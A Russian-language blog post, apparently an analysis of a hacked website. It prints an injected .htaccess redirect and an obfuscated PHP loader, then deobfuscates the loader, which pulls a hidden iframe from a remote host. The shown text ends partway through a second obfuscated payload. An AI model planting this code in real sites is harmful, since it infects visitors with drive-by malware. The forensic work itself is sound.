Всё началось с сообщения «Тут?» от моего друга в одной из социальных сетей. «Яндекс нашёл на сайте вирусы. Глянешь?» «Отчего ж не глянуть», подумал я.
Так началось моё трёхдневное исследование скриптов, дабы понять суть взлома и что там вообще происходит.
Яндекс ругался на «Поведенческий анализ».
Первым делом осмотрел .htaccess — в начало файла оказались дописаны строки:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|yandex|ya|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|filesearch|yell|openstat|metabot|gigablast|entireweb|amfibi|dmoz|yippy|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|infospace|web|websuche|witch|wolong|oekoportal|freenet|arcor|alexana|tiscali|kataweb|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|westaustraliaonline).(.*)
RewriteCond %{HTTP_USER_AGENT} ^.*(msie|opera) [NC]
RewriteCond %{REQUEST_FILENAME} !/index_backup.php
RewriteRule (.*) /index_backup.php?query=$1 [QSA,L]
</IfModule>
Тут всё просто — все пользователи, что перешли на наш сайт с поисковиков, каталогов и пр. и использовали для просмотра браузера Opera или Internet Explorer, перенаправляются на некую страницу index_backup.php.
Содержимое этой страницы — одна строка. Но какая! (Здесь и далее код буду прятать под спойлеры, дабы не нагромождать).
<? $GLOBALS['_62805507_']=Array(base64_decode(''.'ZG'.'VmaW5'.'l'),base64_decode('ZmlsZV'.'9nZ'.'XRfY29'.'u'.'dGV'.'udHM'.'='),base64_decode('c3RyZ'.'WFtX'.'2Nvbn'.'RleHR'.'fY3JlYXR'.'l'),base64_decode(''.'Zml'.'sZV9nZ'.'X'.'RfY29'.'udGVudHM='),base64_decode('c3'.'R'.'ybmF0'.'Y21'.'w'),base64_decode('bXRfcmFuZ'.'A='.'='),base64_decode('ZnB1dHM='),base64_decode('ZnJlYWQ'.'='),base64_decode('ZmN'.'sb3N'.'l'),base64_decode('c3RycG9z'),base64_decode('YW'.'RkY3NsYX'.'N'.'oZXM='),base64_decode('Z'.'mZsdXNo'),base64_decode(''.'c3V'.'ic3Ry'),base64_decode('Zm'.'lsZV'.'9'.'nZXRfY29udGVu'.'dH'.'M='),base64_decode('YXJyY'.'XlfZm'.'lsbF9rZXlz'),base64_decode(''.'Y3Vyb'.'F9pbml0'),base64_decode('Y3VybF9tdWx0aV9leGVj'),base64_decode('YXJyY'.'Xlfc'.'HVzaA=='),base64_decode('Y3VybF9zZXRvc'.'HQ'.'='),base64_decode('bXRf'.'cmFuZ'.'A=='),base64_decode('aW1hZ'.'2VjcmVhdGVmcm9'.'tZ2lm'),base64_decode('Y3'.'Vy'.'bF9'.'zZX'.'RvcH'.'Q'.'='),base64_decode('Y3VybF9zZX'.'Rvc'.'HQ='),base64_decode('Y3'.'Vy'.'bF'.'9l'.'eG'.'Vj'),base64_decode('Y3'.'Vy'.'bF9jbG9z'.'Z'.'Q=='),base64_decode(''.'aW5pX2d'.'ldA='.'='),base64_decode('c'.'GFyc2VfdX'.'Js'),base64_decode('ZnNv'.'Y2tv'.'cGVu'),base64_decode('ZnV'.'uY3R'.'p'.'b'.'2'.'5f'.'Z'.'Xh'.'pc'.'3Rz')); ?><? function _1051993851($i){$a=Array('SUZ'.'SQU1FX1'.'V'.'S'.'T'.'A==','aH'.'R0c'.'DovL3d'.'vcmRwcmV'.'zc3Rlc3Qu'.'aW'.'5m'.'by83Ln'.'R4'.'d'.'A='.'=',''.'ZA==','aHR0cDovLw='.'=','S'.'F'.'RUU'.'F9IT1NU','Uk'.'VRVU'.'VTV'.'F'.'9VUkk'.'=','a'.'HR0'.'cA==','dGltZW91dA==','R'.'0VUIA==',''.'Pw='.'=','I'.'CB'.'IVFRQLzEuMA0K','VXNlci1BZ2VudDo'.'gTW96'.'a'.'WxsYS81L'.'jAgKFd'.'p'.'bmRvd3M7IFU7IFdpbmRvd'.'3MgT'.'lQgN'.'S4xO'.'yBl'.'b'.'i1V'.'UzsgcnY6MS44LjA'.'uMykgR2'.'Vj'.'a2'.'8v'.'MjAwNjA0'.'M'.'jYgRmlyZW'.'ZveC8x'.'LjUuM'.'C4zDQo=',''.'QW'.'NjZXB0'.'OiAqLyoNCg='.'=','QWNjZXB0'.'LUxhb'.'md1YWdlOiBlbi11cyxlbjt'.'xPTAuNQ0K','QWN'.'jZXB'.'0L'.'UNo'.'YXJz'.'ZX'.'Q6IElTTy04'.'ODU5LTEsdXR'.'mLTg7cT'.'0wLjcs'.'Kjt'.'xPTAu'.'Nw0K','S2VlcC'.'1'.'Bb'.'Gl'.'2'.'ZT'.'ogMzA'.'w'.'D'.'Qo=',''.'Q29'.'ubmVjd'.'Glv'.'bjoga'.'2Vl'.'cC1hbGl2ZQ0K','aQ==','DQoNC'.'g==','Y'.'Wxsb3df'.'dXJsX'.'2ZvcG'.'Vu','aG9zd'.'A==','aG9zd'.'A==','cGF0aA==','cXVl'.'c'.'nk=',''.'Y3VybF9pbm'.'l0');return base64_decode($a[$i]);} ?><?php $GLOBALS['_62805507_'][0](_1051993851(0),_1051993851(1));$_0=_1051993851(2);echo l__3(IFRAME_URL);$_1=round(0+2345.5+2345.5);echo@$GLOBALS['_62805507_'][1](_1051993851(3) .$_SERVER[_1051993851(4)] .$_SERVER[_1051993851(5)]);function l__0($_2){$_3=$GLOBALS['_62805507_'][2](array(_1051993851(6)=> array(_1051993851(7)=> round(0+3+3+3+3+3))));return $GLOBALS['_62805507_'][3]($_2,false,$_3);(round(0+3799)-round(0+759.8+759.8+759.8+759.8+759.8)+round(0+3457)-round(0+3457))?$GLOBALS['_62805507_'][4]($_4,$_3):$GLOBALS['_62805507_'][5](round(0+767.33333333333+767.33333333333+767.33333333333),round(0+1266.3333333333+1266.3333333333+1266.3333333333));}function l__1($_5,$_6,$_7,$_8){$GLOBALS['_62805507_'][6]($_5,_1051993851(8) .$_7 ._1051993851(9) .$_8 ._1051993851(10) ."Host: $_6rn" ._1051993851(11) ._1051993851(12) ._1051993851(13) ._1051993851(14) ._1051993851(15) ._1051993851(16) ."Referer: http://$_6rnrn");while($_4=$GLOBALS['_62805507_'][7]($_5,round(0+1365.3333333333+1365.3333333333+1365.3333333333))){$_9 .= $_4;}$GLOBALS['_62805507_'][8]($_5);$_10=_1051993851(17);$_11=$GLOBALS['_62805507_'][9]($_9,_1051993851(18));if((round(0+968.25+968.25+968.25+968.25)^round(0+1291+1291+1291))&& $GLOBALS['_62805507_'][10]($_5,$_2,$_5,$_7))$GLOBALS['_62805507_'][11]($_12,$_7,$_11);$_9=$GLOBALS['_62805507_'][12]($_9,$_11+round(0+1.3333333333333+1.3333333333333+1.3333333333333));if((round(0+1014.5+1014.5+1014.5+1014.5)^round(0+4058))&& $GLOBALS['_62805507_'][13]($_3,$_3,$_3))$GLOBALS['_62805507_'][14]($_13);return $_9;}function l__2($_2){$_13=$GLOBALS['_62805507_'][15]($_2);if((round(0+736.6+736.6+736.6+736.6+736.6)+round(0+312+312+312))>round(0+3683)|| $GLOBALS['_62805507_'][16]($_14));else{$GLOBALS['_62805507_'][17]($_11);}$GLOBALS['_62805507_'][18]($_13,42,FALSE);if(round(0+3068.5+3068.5)<$GLOBALS['_62805507_'][19](round(0+572.33333333333+572.33333333333+572.33333333333),round(0+4415)))$GLOBALS['_62805507_'][20]($_2,$_15,$_16);$GLOBALS['_62805507_'][21]($_13,19913,TRUE);$GLOBALS['_62805507_'][22]($_13,13,round(0+3+3+3+3+3));$_12=$GLOBALS['_62805507_'][23]($_13);$GLOBALS['_62805507_'][24]($_13);return $_12;}function l__3($_2){if($GLOBALS['_62805507_'][25](_1051993851(19))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){echo l__0($_2);}else{$_14=$GLOBALS['_62805507_'][26]($_2);if($_5=@$GLOBALS['_62805507_'][27]($_14[_1051993851(20)],round(0+40+40),$_15,$_16,round(0+3+3+3+3+3))){echo l__1($_5,$_14[_1051993851(21)],$_14[_1051993851(22)],$_14[_1051993851(23)]);}elseif(@$GLOBALS['_62805507_'][28](_1051993851(24))){echo l__2($_2);}}}
После добавления переносов код стал немного более читабелен, но совсем не стал понятнее:
<?
$GLOBALS['_62805507_']=Array(
base64_decode('ZGVmaW5l'),
base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
base64_decode('c3RyZWFtX2NvbnRleHRfY3JlYXRl'),
base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
base64_decode('c3RybmF0Y21w'),
base64_decode('bXRfcmFuZA=='),
base64_decode('ZnB1dHM='),
base64_decode('ZnJlYWQ='),
base64_decode('ZmNsb3Nl'),
base64_decode('c3RycG9z'),
base64_decode('YWRkY3NsYXNoZXM='),
base64_decode('ZmZsdXNo'),
base64_decode('c3Vic3Ry'),
base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
base64_decode('YXJyYXlfZmlsbF9rZXlz'),
base64_decode('Y3VybF9pbml0'),
base64_decode('Y3VybF9tdWx0aV9leGVj'),
base64_decode('YXJyYXlfcHVzaA=='),
base64_decode('Y3VybF9zZXRvcHQ='),
base64_decode('bXRfcmFuZA=='),
base64_decode('aW1hZ2VjcmVhdGVmcm9tZ2lm'),
base64_decode('Y3VybF9zZXRvcHQ='),
base64_decode('Y3VybF9zZXRvcHQ='),
base64_decode('Y3VybF9leGVj'),
base64_decode('Y3VybF9jbG9zZQ=='),
base64_decode('aW5pX2dldA=='),
base64_decode('cGFyc2VfdXJs'),
base64_decode('ZnNvY2tvcGVu'),
base64_decode('ZnVuY3Rpb25fZXhpc3Rz'));
?>
<?
function _1051993851($i){
$a=Array(
'SUZSQU1FX1VSTA==',
'aHR0cDovL3dvcmRwcmVzc3Rlc3QuaW5mby83LnR4dA==',
'ZA==',
'aHR0cDovLw==',
'SFRUUF9IT1NU',
'UkVRVUVTVF9VUkk=',
'aHR0cA==',
'dGltZW91dA==',
'R0VUIA==',
'Pw==',
'ICBIVFRQLzEuMA0K',
'VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=',
'QWNjZXB0OiAqLyoNCg==',
'QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K',
'QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K',
'S2VlcC1BbGl2ZTogMzAwDQo=',
'Q29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0K',
'aQ==',
'DQoNCg==',
'YWxsb3dfdXJsX2ZvcGVu',
'aG9zdA==',
'aG9zdA==',
'cGF0aA==',
'cXVlcnk=',
'Y3VybF9pbml0');
return base64_decode($a[$i]);
}
?>
<?php
$GLOBALS['_62805507_'][0](_1051993851(0),_1051993851(1));
$_0=_1051993851(2);
echo l__3(IFRAME_URL);
$_1=round(0+2345.5+2345.5);
echo@$GLOBALS['_62805507_'][1](_1051993851(3) .$_SERVER[_1051993851(4)] .$_SERVER[_1051993851(5)]);
function l__0($_2){
$_3=$GLOBALS['_62805507_'][2](array(_1051993851(6)=> array(_1051993851(7)=> round(0+3+3+3+3+3))));
return $GLOBALS['_62805507_'][3]($_2,false,$_3);
(round(0+3799)-round(0+759.8+759.8+759.8+759.8+759.8)+round(0+3457)-round(0+3457))?$GLOBALS['_62805507_'][4]($_4,$_3):$GLOBALS['_62805507_'][5](round(0+767.33333333333+767.33333333333+767.33333333333),round(0+1266.3333333333+1266.3333333333+1266.3333333333));
}
function l__1($_5,$_6,$_7,$_8){
$GLOBALS['_62805507_'][6]($_5,_1051993851(8) .$_7 ._1051993851(9) .$_8 ._1051993851(10) ."Host: $_6rn" ._1051993851(11) ._1051993851(12) ._1051993851(13) ._1051993851(14) ._1051993851(15) ._1051993851(16) ."Referer: http://$_6rnrn");
while($_4=$GLOBALS['_62805507_'][7]($_5,round(0+1365.3333333333+1365.3333333333+1365.3333333333))){
$_9 .= $_4;
}
$GLOBALS['_62805507_'][8]($_5);
$_10=_1051993851(17);
$_11=$GLOBALS['_62805507_'][9]($_9,_1051993851(18));
if((round(0+968.25+968.25+968.25+968.25)^round(0+1291+1291+1291))&& $GLOBALS['_62805507_'][10]($_5,$_2,$_5,$_7))$GLOBALS['_62805507_'][11]($_12,$_7,$_11);
$_9=$GLOBALS['_62805507_'][12]($_9,$_11+round(0+1.3333333333333+1.3333333333333+1.3333333333333));
if((round(0+1014.5+1014.5+1014.5+1014.5)^round(0+4058))&& $GLOBALS['_62805507_'][13]($_3,$_3,$_3))$GLOBALS['_62805507_'][14]($_13);
return $_9;
}
function l__2($_2){
$_13=$GLOBALS['_62805507_'][15]($_2);
if((round(0+736.6+736.6+736.6+736.6+736.6)+round(0+312+312+312))>round(0+3683)|| $GLOBALS['_62805507_'][16]($_14));
else{
$GLOBALS['_62805507_'][17]($_11);
}
$GLOBALS['_62805507_'][18]($_13,42,FALSE);
if(round(0+3068.5+3068.5)<$GLOBALS['_62805507_'][19](round(0+572.33333333333+572.33333333333+572.33333333333),round(0+4415)))$GLOBALS['_62805507_'][20]($_2,$_15,$_16);
$GLOBALS['_62805507_'][21]($_13,19913,TRUE);
$GLOBALS['_62805507_'][22]($_13,13,round(0+3+3+3+3+3));
$_12=$GLOBALS['_62805507_'][23]($_13);
$GLOBALS['_62805507_'][24]($_13);
return $_12;
}
function l__3($_2){
if($GLOBALS['_62805507_'][25](_1051993851(19))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){
echo l__0($_2);
}else{
$_14=$GLOBALS['_62805507_'][26]($_2);
if($_5=@$GLOBALS['_62805507_'][27]($_14[_1051993851(20)],round(0+40+40),$_15,$_16,round(0+3+3+3+3+3))){
echo l__1($_5,$_14[_1051993851(21)],$_14[_1051993851(22)],$_14[_1051993851(23)]);
}elseif(@$GLOBALS['_62805507_'][28](_1051993851(24))){
echo l__2($_2);
}
}
}
?>
Пришло время раскодировать полученный код:
<?
$GLOBALS['_62805507_']=Array(
// [0] => define
// [1] => file_get_contents
// [2] => stream_context_create
// [3] => file_get_contents
// [4] => strnatcmp
// [5] => mt_rand
// [6] => fputs
// [7] => fread
// [8] => fclose
// [9] => strpos
// [10] => addcslashes
// [11] => fflush
// [12] => substr
// [13] => file_get_contents
// [14] => array_fill_keys
// [15] => curl_init
// [16] => curl_multi_exec
// [17] => array_push
// [18] => curl_setopt
// [19] => mt_rand
// [20] => imagecreatefromgif
// [21] => curl_setopt
// [22] => curl_setopt
// [23] => curl_exec
// [24] => curl_close
// [25] => ini_get
// [26] => parse_url
// [27] => fsockopen
// [28] => function_exists
base64_decode('ZGVmaW5l'),
base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
base64_decode('c3RyZWFtX2NvbnRleHRfY3JlYXRl'),
base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
base64_decode('c3RybmF0Y21w'),
base64_decode('bXRfcmFuZA=='),
base64_decode('ZnB1dHM='),
base64_decode('ZnJlYWQ='),
base64_decode('ZmNsb3Nl'),
base64_decode('c3RycG9z'),
base64_decode('YWRkY3NsYXNoZXM='),
base64_decode('ZmZsdXNo'),
base64_decode('c3Vic3Ry'),
base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
base64_decode('YXJyYXlfZmlsbF9rZXlz'),
base64_decode('Y3VybF9pbml0'),
base64_decode('Y3VybF9tdWx0aV9leGVj'),
base64_decode('YXJyYXlfcHVzaA=='),
base64_decode('Y3VybF9zZXRvcHQ='),
base64_decode('bXRfcmFuZA=='),
base64_decode('aW1hZ2VjcmVhdGVmcm9tZ2lm'),
base64_decode('Y3VybF9zZXRvcHQ='),
base64_decode('Y3VybF9zZXRvcHQ='),
base64_decode('Y3VybF9leGVj'),
base64_decode('Y3VybF9jbG9zZQ=='),
base64_decode('aW5pX2dldA=='),
base64_decode('cGFyc2VfdXJs'),
base64_decode('ZnNvY2tvcGVu'),
base64_decode('ZnVuY3Rpb25fZXhpc3Rz'));
?>
<?
function _1051993851($i){
$a=Array(
// [0] => IFRAME_URL
// [1] => http://wordpresstest.info/7.txt
// [2] => d
// [3] => http://
// [4] => HTTP_HOST
// [5] => REQUEST_URI
// [6] => http
// [7] => timeout
// [8] => GET
// [9] => ?
// [10] => HTTP/1.0
// [11] => User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3
// [12] => Accept: */*
// [13] => Accept-Language: en-us,en;q=0.5
// [14] => Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
// [15] => Keep-Alive: 300
// [16] => Connection: keep-alive
// [17] => i
// [18] =>
// [19] => allow_url_fopen
// [20] => host
// [21] => host
// [22] => path
// [23] => query
// [24] => curl_init
'SUZSQU1FX1VSTA==',
'aHR0cDovL3dvcmRwcmVzc3Rlc3QuaW5mby83LnR4dA==',
'ZA==',
'aHR0cDovLw==',
'SFRUUF9IT1NU',
'UkVRVUVTVF9VUkk=',
'aHR0cA==',
'dGltZW91dA==',
'R0VUIA==',
'Pw==',
'ICBIVFRQLzEuMA0K',
'VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=',
'QWNjZXB0OiAqLyoNCg==',
'QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K',
'QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K',
'S2VlcC1BbGl2ZTogMzAwDQo=',
'Q29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0K',
'aQ==',
'DQoNCg==',
'YWxsb3dfdXJsX2ZvcGVu',
'aG9zdA==',
'aG9zdA==',
'cGF0aA==',
'cXVlcnk=',
'Y3VybF9pbml0');
return base64_decode($a[$i]);
}
?>
<?php
defined(IFRAME_URL, "http://wordpresstest.info/7.txt");
$_0 = "d"; //мусор
echo l__3(IFRAME_URL);
$_1 = 4691; //мусор
echo @file_get_contents("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);
function l__0 ($iframeurl) { // получение данных из файла с помощью file_get_contents
$socket_options = stream_context_create(array("http" => array("timeout" => 15)));
return file_get_contents($iframeurl, false, $_3);
// ф-ия уже вернула ответ. То, что ниже - мусор, дабы запутать.
if (0){
strnatcmp($_4, $_3);
} else {
mt_rand(2302,3799);
}
}
function l__1 ($socket, $host, $path, $query) { // получение данных из файла с помощью fsockopen
fputs($socket,
"GET ".$path."?".$query." HTTP 1.0rn".
"Host: $hostrn".
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3rn".
"Accept: */*rn".
"Accept-Language: en-us,en;q=0.5rn".
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7rn".
"Keep-Alive: 300rn".
"Connection: keep-alivern".
"Referer: http://$hostrnrn"
);
while($buffer = fread($socket, 4096)) {
$response .= $buffer;
}
fclose($socket);
$_10 = "i"; // мусор
$header_end = strpos($response, "rnrn");
// мусор
if (0 && addcslashes($_5,$_2,$_5,$_7)){
fflush($_12,$_7,$_11);
}
$response = substr($response, $header_end + 4);
//мусор
if(0 && file_get_contents($_3,$_3,$_3)){
array_fill_keys($_13);
}
return $response;
}
function l__2 ($iframeurl) { // получение данных из файла с помощью curl
$curl = curl_init($iframeurl);
//мусор
if (4619>3683 || curl_multi_exec($_14));
else {
array_push($_11);
}
curl_setopt($curl, 42, FALSE);
// мусор
if (6137 < mt_rand(1717, 4415)){
imagecreatefromgif($_2,$_15,$_16);
}
curl_setopt($curl, 19913, TRUE);
curl_setopt($curl, 13, 15);
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
function l__3 ($iframeurl) { // выбор способа для получения данных из файла
if (ini_get("allow_url_fopen") == 1) {
echo l__0($iframeurl);
} else {
$parsed = parse_url($iframeurl);
if($socket = @fsockopen($parsed["host"], 80, $garbage_variable1, $garbage_variable2, 15)) {
echo l__1($socket, $parsed["host"], $parsed["path"], $parsed["query"]);
} elseif (@function_exists("curl_init")) {
echo l__2($iframeurl);
}
}
}
?>
И удалить всё лишнее:
<?php
defined(IFRAME_URL, "http://wordpresstest.info/7.txt");
echo l__3(IFRAME_URL);
echo @file_get_contents("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);
function l__0 ($iframeurl) { // получение данных из файла с помощью file_get_contents
$socket_options = stream_context_create(array("http" => array("timeout" => 15)));
return file_get_contents($iframeurl, false, $_3);
}
function l__1 ($socket, $host, $path, $query) { // получение данных из файла с помощью fsockopen
fputs($socket,
"GET ".$path."?".$query." HTTP 1.0rn".
"Host: $hostrn".
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3rn".
"Accept: */*rn".
"Accept-Language: en-us,en;q=0.5rn".
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7rn".
"Keep-Alive: 300rn".
"Connection: keep-alivern".
"Referer: http://$hostrnrn"
);
while($buffer = fread($socket, 4096)) {
$response .= $buffer;
}
fclose($socket);
$header_end = strpos($response, "rnrn");
$response = substr($response, $header_end + 4);
return $response;
}
function l__2 ($iframeurl) { // получение данных из файла с помощью curl
$curl = curl_init($iframeurl);
curl_setopt($curl, 42, FALSE);
curl_setopt($curl, 19913, TRUE);
curl_setopt($curl, 13, 15);
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
function l__3 ($iframeurl) { // выбор способа для получения данных из файла
if (ini_get("allow_url_fopen") == 1) {
echo l__0($iframeurl);
} else {
$parsed = parse_url($iframeurl);
if($socket = @fsockopen($parsed["host"], 80, $garbage_variable1, $garbage_variable2, 15)) {
echo l__1($socket, $parsed["host"], $parsed["path"], $parsed["query"]);
} elseif (@function_exists("curl_init")) {
echo l__2($iframeurl);
}
}
}
?>
Из кода ясно, что скрипт пытается любым возможным (из трёх предложенных) способом получить данные, расположенные по адресу wordpresstest.info/7.txt (браузеры и антивирусы могут ругаться при посещении). На данной странице находится всего одна строчка — однопиксельный невидимый фрейм, адрес в котором меняется раз в минуту.
<iframe src="http://raynesparkcarbootsale.co.uk/vmyehem.php" width=1 height=1 style="visibility: hidden"></iframe>
При переходе по данному адресу мы увидим белый экран с 2 символами (1z / 2z / 3z / 4z), меняющимися в зависимости от используемых браузера и операционной системы.
Поняв, что адрес постоянно меняется, я написал маленький скрипт, который раз в минуту (по cron'у) стучался к файлу 7.txt, забирал из него адрес сайта и писал в базу.
Через несколько часов, мой наглый DDOS был, судя по всему, замечен и доступ моему скрипту был заблокирован. Но он успел успешно спарсить около 400 адресов, в которых оказалось порядка 20-30 доменов в зоне .ru.
Добраться до этого момента было не трудно — расшифровать код хоть и не быстро, но не сложно. А что делать дальше? Доступа к серверам, на которых расположены сайты из ссылки в файле 7.txt, у меня нет. А что делать, если доступа нет? Его надо попросить! Ну или хотя бы уговорить владельца отдать скрипт, на который ссылается фрейм.
Именно этот шаг оказался самым трудным — объяснить владельцу сайта, что я не взламывал его сайт, не хочу ему что-то продать, это не мой скрип и я не кодировал никаких его личных данных. Я просто хочу разобраться…
В конце концов, один из владельцев сайтов согласился отправить мне файл, понадеявшись, что на нём это не скажется как-либо отрицательно. Спасибо ему за это!
<? $GLOBALS['_664181862_']=Array(base64_decode('Z'.'GVmaW5l'),base64_decode('c3RydG9'.'sb3dl'.'cg=='),base64_decode('a'.'W1'.'hZ2'.'Vj'.'c'.'mVhd'.'GV'.'mc'.'m9tZ2lm'),base64_decode('bX'.'RfcmFuZA=='),base64_decode('c'.'3'.'Ryc'.'G9z'),base64_decode('c3RycG9'.'z'),base64_decode('c3RydG9sb3'.'dlc'.'g=='),base64_decode('c3R'.'yX3JlcG'.'xh'.'Y'.'2'.'U='),base64_decode('dXJ'.'sZW'.'5jb'.'2Rl'),base64_decode('dX'.'JsZW5jb2Rl'),base64_decode('aGVhZG'.'Vy'),base64_decode('d'.'HJpbQ='.'='),base64_decode('aW'.'5pX2dldA'.'=='),base64_decode('cG'.'F'.'yc2VfdX'.'Js'),base64_decode(''.'ZnN'.'vY2tvcGVu'),base64_decode('Z'.'nVuY3R'.'pb'.'2'.'5fZX'.'hpc3'.'Rz'),base64_decode('c3RyZWFtX2'.'NvbnRleHR'.'f'.'Y3J'.'lY'.'XRl'),base64_decode('Y'.'XJyYXlf'.'cmVkdWNl'),base64_decode(''.'ZmZsdXNo'),base64_decode('Zmls'.'ZV9nZXRf'.'Y2'.'9udGVudH'.'M='),base64_decode('Z'.'n'.'B1dHM='),base64_decode(''.'c'.'3RybG'.'Vu'),base64_decode('b'.'XR'.'fcm'.'FuZA=='),base64_decode(''.'Y'.'XJyYXlfZmlsbA=='),base64_decode(''.'ZnJl'.'YWQ'.'='),base64_decode('ZmNs'.'b'.'3Nl'),base64_decode('c3'.'RycG9z'),base64_decode('bXRf'.'cmFuZA=='),base64_decode(''.'Y'.'XJ'.'yYXlfZmx'.'pc'.'A=='),base64_decode('c3'.'Vic3Ry'),base64_decode('Y3VybF9pbml0'),base64_decode(''.'c'.'3'.'Vic3Ry'),base64_decode(''.'b'.'XRfcmF'.'uZA'.'=='),base64_decode('Y3Vyb'.'F9zZXR'.'v'.'cH'.'Q'.'='),base64_decode('Y3Vy'.'bF9zZ'.'XRvcHQ'.'='),base64_decode('cH'.'Jl'.'Z19'.'yZ'.'XB'.'sYW'.'Nl'),base64_decode('Z'.'nJ'.'lYWQ='),base64_decode('Y'.'3V'.'ybF9zZXRvcHQ='),base64_decode('Y3'.'VybF9zZ'.'X'.'R'.'vcHQ'.'='),base64_decode('c'.'3Ry'.'d'.'mFs'),base64_decode(''.'YXJy'.'YX'.'lf'.'bWVy'.'Z2'.'U='),base64_decode(''.'Y3VybF9'.'l'.'e'.'GVj'),base64_decode(''.'Y3'.'VybF9j'.'bG9zZ'.'Q==')); ?><? function _724562126($i){$a=Array('QU'.'RN'.'SU5'.'fU'.'k'.'VESVJfVVJM','aHR0cDov'.'L3'.'R'.'lc3QuY'.'3VzdG9tc2V'.'4Y2Ftcy5jb20vcmIvZ2V0X3'.'V'.'ybC5waH'.'A=','SFRUUF'.'9VU'.'0VSX'.'0F'.'HR'.'U5U','SF'.'RUU'.'F9VU'.'0V'.'SX0FH'.'RU5U','','d'.'2luZG'.'93cw='.'=','MXo'.'=','b3Blcm'.'EvOS44MA='.'=','bXNpZSAxMA'.'==','bX'.'NpZSA5','bXNpZSA4','bXNpZSA3','Mno=','SFRU'.'UF9SRUZFUk'.'V'.'S','SF'.'RUUF'.'9SRU'.'ZFUkVS','','M'.'3'.'o=','SFRUUF9'.'I'.'T1N'.'U',''.'SFR'.'U'.'UF9IT'.'1NU','SFRUUF9I'.'T1NU','d3d3'.'Lg==','','SFRU'.'UF9IT1NU','ZD0'.'=','SF'.'R'.'UUF9IT1'.'N'.'U',''.'Og==','U'.'kVNT1'.'R'.'F'.'X0'.'FERFI'.'=','Og==','Q'.'kFE','NHo=','TG9'.'jY'.'XRpb2'.'46'.'IA==','Y'.'Wxs'.'b3dfdXJsX2Z'.'vcGVu','a'.'G9zd'.'A==','aG9zdA='.'=','cGF0aA='.'=','Y3VybF9pb'.'ml0','aHR0'.'cA==','bWV'.'0aG9'.'k','UE9TVA==','a'.'GV'.'hZGVy','Q29udG'.'VudC1'.'U'.'eXBlOiBh'.'cHBsaWNhdG'.'lv'.'bi9'.'4L'.'Xd3dy1m'.'b3'.'J'.'tL'.'XVybG'.'VuY29kZWQ'.'=','Cg==','Y29ud'.'GVudA'.'==','Ym'.'s=','UE'.'9'.'TVCA=','I'.'CBI'.'VFRQLzE'.'uM'.'A0K','VXN'.'lci'.'1BZ2'.'Vud'.'Dog'.'TW9'.'6aWxsYS'.'81LjAgKFdp'.'b'.'m'.'R'.'vd3M7IF'.'U'.'7IFdp'.'bmRvd3MgTl'.'QgNS4xO'.'yBl'.'bi1VUzs'.'gcnY6MS44'.'LjAuMyk'.'g'.'R'.'2V'.'ja28vMj'.'AwNjA0M'.'jYgRmlyZWZveC8'.'x'.'LjUu'.'MC4zDQo'.'=','QWN'.'jZXB0OiAqLy'.'oNC'.'g='.'=',''.'Q'.'WNjZXB0'.'LUxh'.'bmd'.'1YWdlOi'.'Blbi11cyxlbjtxPT'.'AuNQ0'.'K','QWN'.'jZ